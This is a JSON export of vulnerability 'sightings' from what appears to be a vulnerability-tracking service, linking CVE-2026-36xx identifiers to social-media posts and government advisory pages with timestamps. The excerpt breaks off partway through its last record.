{"vulnerability": "2026-36", "sightings": [{"uuid": "f413bd9b-4042-49f4-a9b4-dd091fae862d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3630", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116200519498327422", "content": "", "creation_timestamp": "2026-03-09T18:00:17.524438Z"}, {"uuid": "bee55a87-ff9c-4787-b4f0-0a04976ce10f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3638", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116200873186129950", "content": "", "creation_timestamp": "2026-03-09T19:30:13.498520Z"}, {"uuid": "d25dc2c5-0f0f-4f68-b94e-3641f7bc477c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3630", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116197335245358042", "content": "", "creation_timestamp": "2026-03-09T04:30:29.220531Z"}, {"uuid": "3c909b20-bd74-46be-941c-977654d46bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3606", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgebu3eoty2u", "content": "", "creation_timestamp": "2026-03-06T02:38:52.247760Z"}, {"uuid": "3b158f24-d4d1-4eb4-a82c-d920a70d6e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3630", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116197971162361134", "content": "", "creation_timestamp": "2026-03-09T07:12:12.986335Z"}, {"uuid": "32b5dceb-4e37-464f-b2db-569e45ce62c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3610", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgeh74epfk27", "content": "", "creation_timestamp": "2026-03-06T04:14:31.307610Z"}, {"uuid": "672e0fe5-c10b-411c-a96f-d4c2f85dd0df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3663", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgicx52oon2k", "content": "", "creation_timestamp": "2026-03-07T17:09:07.772906Z"}, {"uuid": "32fe51bb-9079-4557-a92a-560f1c227509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3662", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgida3hz4s2d", "content": "", "creation_timestamp": "2026-03-07T17:14:07.845833Z"}, {"uuid": "33366569-625a-436b-87a7-f5ca231a4ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3613", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mgei43gyjr2s", "content": "", "creation_timestamp": "2026-03-06T04:30:42.969957Z"}, {"uuid": "a43f9962-73fd-455c-8358-3d18e3aaac85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3661", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgidizvhvo2o", "content": "", "creation_timestamp": "2026-03-07T17:19:08.077076Z"}, {"uuid": "4cb4d16c-19f2-43a0-bf5a-4fbf320c6e6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3664", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgidrycgsk2n", "content": "", "creation_timestamp": "2026-03-07T17:24:08.429281Z"}, {"uuid": "15e9eb66-9851-4690-8a90-665b2cbf70aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3612", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgeikqoufz2u", "content": "", "creation_timestamp": "2026-03-06T04:38:55.368786Z"}, {"uuid": "8c989535-12f3-49fc-908c-da85b5f7dd9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgej4njjwc2x", "content": "", "creation_timestamp": "2026-03-06T04:48:55.942273Z"}, {"uuid": "da54c3bd-eef1-44a9-8465-317908c15bff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3616", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgejflwmdm2n", "content": "", "creation_timestamp": "2026-03-06T04:53:56.158220Z"}, {"uuid": "f8f73253-4124-43be-ab7b-51de5558f3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3668", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgik4dvuke2k", "content": "", "creation_timestamp": "2026-03-07T19:17:18.465857Z"}, {"uuid": "203f51c7-718b-4a7d-85a7-c571222302f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-069-03", "content": "", "creation_timestamp": "2026-03-10T11:00:00.000000Z"}, {"uuid": "57c084e8-48d7-4da7-8576-ccbd48553ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3665", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgil2sue6j27", "content": "", "creation_timestamp": "2026-03-07T19:34:20.704963Z"}, {"uuid": "50ce35fb-63f4-4126-a3bd-e3c5b26d9be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3667", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgimpfqg2o2y", "content": "", "creation_timestamp": "2026-03-07T20:03:45.535731Z"}, {"uuid": "1b500c21-04d9-4cc8-bf98-099a37e3e58c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3669", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgir7guwlt2u", "content": "", "creation_timestamp": "2026-03-07T21:24:19.917093Z"}, {"uuid": "bdf9c17e-2ed0-4487-be13-3103f03cd0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3670", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgirifcq7n2k", "content": "", "creation_timestamp": "2026-03-07T21:29:18.865145Z"}, {"uuid": "197cb524-bcfd-44d3-b318-e5fdc17af896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3679", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116184381636813177", "content": "", "creation_timestamp": "2026-03-06T21:36:12.227699Z"}, {"uuid": "5e30c458-a1c5-4745-b829-f9815506304a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3606", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116181652686663216", "content": "", "creation_timestamp": "2026-03-06T10:02:12.186660Z"}, {"uuid": "6216c425-fa05-4820-a886-c9870c04b502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3635", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhqgpykcju2g", "content": "", "creation_timestamp": "2026-03-23T16:03:12.194730Z"}, {"uuid": "aae538a8-cc86-47f0-8bab-448f42b0f310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgve7n22qg2n", "content": "", "creation_timestamp": "2026-03-12T21:36:23.930442Z"}, {"uuid": "159f5334-d514-43fe-88a9-25eedc1f29d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhuswle4j72z", "content": "", "creation_timestamp": "2026-03-25T09:52:17.830674Z"}, {"uuid": "a92f2e09-f290-4194-bab7-ccfcf48d7bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3629", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhm63zbpdo2h", "content": "", "creation_timestamp": "2026-03-21T23:18:13.465089Z"}, {"uuid": "de0d2f73-eb15-4d14-8c86-5c41e22ac1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3629", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhma4nxwhe2z", "content": "", "creation_timestamp": "2026-03-21T23:54:22.229706Z"}, {"uuid": "55818de9-7ae1-4cd6-bb66-5c1c7d441721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgvfewcts42o", "content": "", "creation_timestamp": "2026-03-12T21:57:14.113506Z"}, {"uuid": "6092a781-f450-4140-87d1-145e5fca8c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhzmw4khqg2s", "content": "", "creation_timestamp": "2026-03-27T07:47:58.429064Z"}, {"uuid": "37d0e893-b8b4-47d9-8e7f-aa9bd5762dd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3629", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhmgbagewg2u", "content": "", "creation_timestamp": "2026-03-22T01:44:18.331796Z"}, {"uuid": "ff1b431a-e1ec-45e9-a8ce-20f698cc0d75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3650", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116295252558351450", "content": "", "creation_timestamp": "2026-03-26T11:32:08.708481Z"}, {"uuid": "641a085b-c6a2-4462-bc96-acff59585246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3650", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mhxj2aqoi22e", "content": "", "creation_timestamp": "2026-03-26T11:33:45.324610Z"}, {"uuid": "b26884ad-f8be-47e0-abcc-ca7b42852b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3658", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhgtjj33u72d", "content": "", "creation_timestamp": "2026-03-19T20:25:36.356706Z"}, {"uuid": "c17b7309-ee0d-4a3c-8547-1e5b7c184bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhuteuaw7t2i", "content": "", "creation_timestamp": "2026-03-25T10:00:16.272099Z"}, {"uuid": "1d558572-b665-49f0-b178-3504fb65abed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3629", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116270591347642327", "content": "", "creation_timestamp": "2026-03-22T03:00:29.037207Z"}, {"uuid": "65a49272-be99-41a5-a4cf-c75226f6306b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3629", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhmkjiab5h2c", "content": "", "creation_timestamp": "2026-03-22T03:00:30.331033Z"}, {"uuid": "cdee5fd8-8171-4169-9c8a-75553c4ed0ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3677", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3mgvv3c7wyh2y", "content": "", "creation_timestamp": "2026-03-13T02:38:10.891010Z"}, {"uuid": "02eb0903-513f-437f-8cca-a47b9ad29b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3611", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mgw3e6saq222", "content": "", "creation_timestamp": "2026-03-13T04:30:32.552661Z"}, {"uuid": "22e54ddc-cb9c-4f96-a654-e27be93c2ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3611", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116219984579510445", "content": "", "creation_timestamp": "2026-03-13T04:30:36.393455Z"}, {"uuid": "ab6520d9-d311-4a97-a6b8-100782777c5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3679", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3mgwc7j7tt32p", "content": "", "creation_timestamp": "2026-03-13T06:33:11.059244Z"}, {"uuid": "fb729a25-0a88-4f68-b779-46a4527d0e1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3644", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0302/", "content": "", "creation_timestamp": "2026-03-17T00:00:00.000000Z"}, {"uuid": "d5c42a5b-0e93-4e3b-bb2b-c417d2886215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3658", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhfwsnk5o424", "content": "", "creation_timestamp": "2026-03-19T11:51:44.270858Z"}, {"uuid": "f610dfd1-142a-4c2b-a24e-0ea0a5b4dcad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3608", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116289347986786724", "content": "", "creation_timestamp": "2026-03-25T10:30:32.620803Z"}, {"uuid": "70107b6a-b917-4a54-827d-9b5e0d18c8fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3608", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhuv2z622g2i", "content": "", "creation_timestamp": "2026-03-25T10:30:34.292223Z"}, {"uuid": "82aea846-c2c2-4112-9359-540ed6820775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3644", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhb3er3v2c2v", "content": "", "creation_timestamp": "2026-03-17T13:30:08.274245Z"}, {"uuid": "bc565b0d-86f9-4802-a37b-b4646f6d25bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhvchseqdq26", "content": "", "creation_timestamp": "2026-03-25T14:30:20.879911Z"}, {"uuid": "aab39651-a6dd-422e-8716-d4e84ce8106b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3667", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3667", "content": "", "creation_timestamp": "2026-03-07T15:15:56.000000Z"}, {"uuid": "7a08f659-3076-4712-9c0d-d3d9f45a38c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3665", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3665", "content": "", "creation_timestamp": "2026-03-07T15:15:56.000000Z"}, {"uuid": "bd241e11-3215-46db-aaf3-d4c643dce988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3668", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3668", "content": "", "creation_timestamp": "2026-03-07T15:15:57.000000Z"}, {"uuid": "6c0ba439-b3be-4ae3-ac5d-994727a1ce2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3669", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3669", "content": "", "creation_timestamp": "2026-03-07T18:15:48.000000Z"}, {"uuid": "03e24025-7a4d-4064-bf23-cc9e0771c836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3670", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3670", "content": "", "creation_timestamp": "2026-03-07T18:15:49.000000Z"}, {"uuid": "e76df22f-f2f9-4f2e-9d17-fbcc9ed30d61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3671", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3671", "content": "", "creation_timestamp": "2026-03-07T21:15:49.000000Z"}, {"uuid": "c2ac73f8-8355-4c6c-a574-cd72c9ee84b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3672", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3672", "content": "", "creation_timestamp": "2026-03-07T21:15:50.000000Z"}, {"uuid": "4afa9e77-9254-438c-8d74-ead248a348f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3675", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3675", "content": "", "creation_timestamp": "2026-03-07T21:15:50.000000Z"}, {"uuid": "2be156c5-2e3d-4082-9224-15d0394d90d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3677", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3677", "content": "", "creation_timestamp": "2026-03-07T21:15:50.000000Z"}, {"uuid": "41dae2fe-be06-4313-a07c-2287f8fb01d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3674", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3674", "content": "", "creation_timestamp": "2026-03-07T21:15:50.000000Z"}, {"uuid": "fe3f6424-0481-4afe-8cf4-ff648f22b455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3678", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3678", "content": "", "creation_timestamp": "2026-03-07T22:15:46.000000Z"}, {"uuid": "0f97b711-73e8-4cf2-86d6-e01d918259a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3680", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3680", "content": "", "creation_timestamp": "2026-03-07T22:15:47.000000Z"}, {"uuid": "fe1f2eff-db1a-44ad-a8eb-d4ae2cf924e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhvhoflqbf2l", "content": "", "creation_timestamp": "2026-03-25T16:03:31.067947Z"}, {"uuid": "1c2e15b7-2ef5-41b4-b3d9-5244d61cb638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3679", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3679", "content": "", "creation_timestamp": "2026-03-07T22:15:47.000000Z"}, {"uuid": "e210ece7-8874-4379-b966-c8bba76179b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3681", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3681", "content": "", "creation_timestamp": "2026-03-07T22:15:48.000000Z"}, {"uuid": "b4fb694c-bbc9-40b9-bab2-6dd1f6c9fabe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3699", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3699", "content": "", "creation_timestamp": "2026-03-08T02:16:04.000000Z"}, {"uuid": "d87b9b71-97bc-4a51-8400-7fe1eb14ed40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3650", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-26-083-01", "content": "", "creation_timestamp": "2026-03-24T12:00:00.000000Z"}, {"uuid": "0e5ac5b1-70ec-4fcf-9e1f-6b63b2c83996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3630", "type": "seen", "source": "https://infosec.exchange/users/beyondmachines1/statuses/116256676814898354", "content": "", "creation_timestamp": "2026-03-19T16:02:08.221644Z"}, {"uuid": "15ab4603-6a57-4b65-baf8-1e4ca8291fbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3631", "type": "seen", "source": "https://infosec.exchange/users/beyondmachines1/statuses/116256676814898354", "content": "", "creation_timestamp": "2026-03-19T16:02:08.305896Z"}, {"uuid": "2bf83b96-3b4c-4a20-a838-209682f35b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3650", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhyn4fib7x2w", "content": "", "creation_timestamp": "2026-03-26T22:18:49.152880Z"}, {"uuid": "dddb654a-123f-4d4b-94a7-4b710e922c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3630", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3630", "content": "", "creation_timestamp": "2026-03-09T03:15:58.000000Z"}, {"uuid": "5cebdb4a-f98b-4a9d-b19e-c347fbbdc9a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3608", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mi56w2nxzu2x", "content": "", "creation_timestamp": "2026-03-28T17:48:05.241070Z"}, {"uuid": "90fee324-3d97-4ade-9962-3e103d2a422b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3631", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3631", "content": "", "creation_timestamp": "2026-03-09T03:15:58.000000Z"}, {"uuid": "c93ab879-2979-490d-95ff-6d6eab8f7e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-3611", "content": "", "creation_timestamp": "2026-03-12T20:16:27.000000Z"}, {"uuid": "35b6493a-553f-4a22-b37d-b873672a1467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3650", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhyqm7qnbg23", "content": "", "creation_timestamp": "2026-03-26T23:21:20.749547Z"}, {"uuid": "b2a407d8-5c5e-42bb-aba6-21c0d5d7c9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3657", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhjg3djb5w2h", "content": "", "creation_timestamp": "2026-03-20T21:03:04.209411Z"}, {"uuid": "5411a122-8d87-4809-bd2b-02e98269bb5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3635", "type": "seen", "source": 